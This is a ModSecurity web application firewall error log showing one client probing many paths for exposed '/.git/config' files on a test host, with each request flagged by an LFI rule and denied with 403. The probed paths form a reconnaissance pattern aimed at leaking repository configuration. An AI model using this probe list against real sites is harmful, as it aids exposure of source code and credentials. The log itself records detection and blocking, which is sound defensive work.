[Mon Jul 17 02:19:50.372620 2023] [:error] [pid 673636] [client 3.143.209.15:52096] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYQAAAAE&quot;]
[Mon Jul 17 02:19:50.372779 2023] [:error] [pid 673636] [client 3.143.209.15:52096] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYQAAAAE&quot;]
[Mon Jul 17 02:19:50.373542 2023] [:error] [pid 673639] [client 3.143.209.15:52082] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdQAAAAQ&quot;]
[Mon Jul 17 02:19:50.373710 2023] [:error] [pid 673639] [client 3.143.209.15:52082] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdQAAAAQ&quot;]
[Mon Jul 17 02:19:50.373829 2023] [:error] [pid 673639] [client 3.143.209.15:52082] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdQAAAAQ&quot;]
[Mon Jul 17 02:19:50.380117 2023] [:error] [pid 673635] [client 3.143.209.15:52062] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /new/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-naQAAAAA&quot;]
[Mon Jul 17 02:19:50.380282 2023] [:error] [pid 673635] [client 3.143.209.15:52062] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-naQAAAAA&quot;]
[Mon Jul 17 02:19:50.380405 2023] [:error] [pid 673635] [client 3.143.209.15:52062] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-naQAAAAA&quot;]
[Mon Jul 17 02:19:50.380641 2023] [:error] [pid 673637] [client 3.143.209.15:52122] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /samples/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlPgAAAAI&quot;]
[Mon Jul 17 02:19:50.380818 2023] [:error] [pid 673637] [client 3.143.209.15:52122] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlPgAAAAI&quot;]
[Mon Jul 17 02:19:50.380940 2023] [:error] [pid 673637] [client 3.143.209.15:52122] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlPgAAAAI&quot;]
[Mon Jul 17 02:19:50.382003 2023] [:error] [pid 673785] [client 3.143.209.15:52146] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLZAAAAAU&quot;]
[Mon Jul 17 02:19:50.382173 2023] [:error] [pid 673785] [client 3.143.209.15:52146] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLZAAAAAU&quot;]
[Mon Jul 17 02:19:50.382294 2023] [:error] [pid 673785] [client 3.143.209.15:52146] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLZAAAAAU&quot;]
[Mon Jul 17 02:19:50.600216 2023] [:error] [pid 674854] [client 3.143.209.15:52162] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-kAAAAAY&quot;]
[Mon Jul 17 02:19:50.600449 2023] [:error] [pid 674854] [client 3.143.209.15:52162] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-kAAAAAY&quot;]
[Mon Jul 17 02:19:50.600596 2023] [:error] [pid 674854] [client 3.143.209.15:52162] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-kAAAAAY&quot;]
[Mon Jul 17 02:19:50.607717 2023] [:error] [pid 673638] [client 3.143.209.15:52112] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shop/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_YwAAAAM&quot;]
[Mon Jul 17 02:19:50.607927 2023] [:error] [pid 673638] [client 3.143.209.15:52112] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_YwAAAAM&quot;]
[Mon Jul 17 02:19:50.608048 2023] [:error] [pid 673638] [client 3.143.209.15:52112] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_YwAAAAM&quot;]
[Mon Jul 17 02:19:50.609549 2023] [:error] [pid 673636] [client 3.143.209.15:52130] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /static/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYgAAAAE&quot;]
[Mon Jul 17 02:19:50.609767 2023] [:error] [pid 673636] [client 3.143.209.15:52130] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYgAAAAE&quot;]
[Mon Jul 17 02:19:50.609914 2023] [:error] [pid 673636] [client 3.143.209.15:52130] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYgAAAAE&quot;]
[Mon Jul 17 02:19:50.611585 2023] [:error] [pid 673639] [client 3.143.209.15:52164] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdgAAAAQ&quot;]
[Mon Jul 17 02:19:50.611748 2023] [:error] [pid 673639] [client 3.143.209.15:52164] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdgAAAAQ&quot;]
[Mon Jul 17 02:19:50.611865 2023] [:error] [pid 673639] [client 3.143.209.15:52164] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdgAAAAQ&quot;]
[Mon Jul 17 02:19:50.616064 2023] [:error] [pid 673785] [client 3.143.209.15:52172] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /git/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLZQAAAAU&quot;]
[Mon Jul 17 02:19:50.616244 2023] [:error] [pid 673785] [client 3.143.209.15:52172] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLZQAAAAU&quot;]
[Mon Jul 17 02:19:50.616362 2023] [:error] [pid 673785] [client 3.143.209.15:52172] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLZQAAAAU&quot;]
[Mon Jul 17 02:19:50.618555 2023] [:error] [pid 673635] [client 3.143.209.15:52188] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-nagAAAAA&quot;]
[Mon Jul 17 02:19:50.618726 2023] [:error] [pid 673635] [client 3.143.209.15:52188] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-nagAAAAA&quot;]
[Mon Jul 17 02:19:50.618862 2023] [:error] [pid 673635] [client 3.143.209.15:52188] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-nagAAAAA&quot;]
[Mon Jul 17 02:19:50.623169 2023] [:error] [pid 673637] [client 3.143.209.15:52184] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlPwAAAAI&quot;]
